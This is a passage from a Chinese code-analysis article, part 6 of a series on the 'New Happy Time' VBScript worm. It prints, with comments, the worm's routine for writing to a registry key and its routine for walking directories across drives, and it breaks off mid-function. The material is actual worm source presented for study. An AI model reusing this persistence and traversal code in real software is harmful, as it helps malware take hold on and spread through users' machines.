新欢乐时光代码分析(6)
' 函数:KJMailReg(RegStr,FileName)
' 功能:如果注册表指定键值不存在,则向指定位置写入指定文件名
' 参数:
' RegStr 注册表指定键值
' FileName 指定文件名
Function KJMailReg(RegStr, FileName)
On Error Resume Next
' 如果注册表指定键值不存在,则向指定位置写入指定文件名
RegTempStr = WsShell.RegRead(RegStr)
If RegTempStr = "" Then
WsShell.RegWrite RegStr, FileName
End If
End Function
' 函数:KJOboSub(CurrentString)
' 功能:遍历并返回目录路径
' 参数:
' CurrentString 当前目录
Function KJOboSub(CurrentString)
SubE = 0
TestOut = 0
Do While True
TestOut = TestOut + 1
If TestOut > 28 Then
CurrentString = FinalyDisk & ":\"
Exit Do
End If
On Error Resume Next
' 取得当前目录的所有子目录,并且放到字典中
Set ThisFolder = FSO.GetFolder(CurrentString)
Set DicSub = CreateObject("Scripting.Dictionary")
Set Folders = ThisFolder.SubFolders
FolderCount = 0
For Each TempFolder in Folders
FolderCount = FolderCount + 1
DicSub.Add FolderCount, TempFolder.Name
Next
' 如果没有子目录了,就调用KJChangeSub返回上一级目录或者更换盘符,并将SubE置1
If DicSub.Count = 0 Then
LastIndexChar = InstrRev(CurrentString, "\", Len(CurrentString) -1)
内容版权声明:除非注明,否则皆为本站原创文章。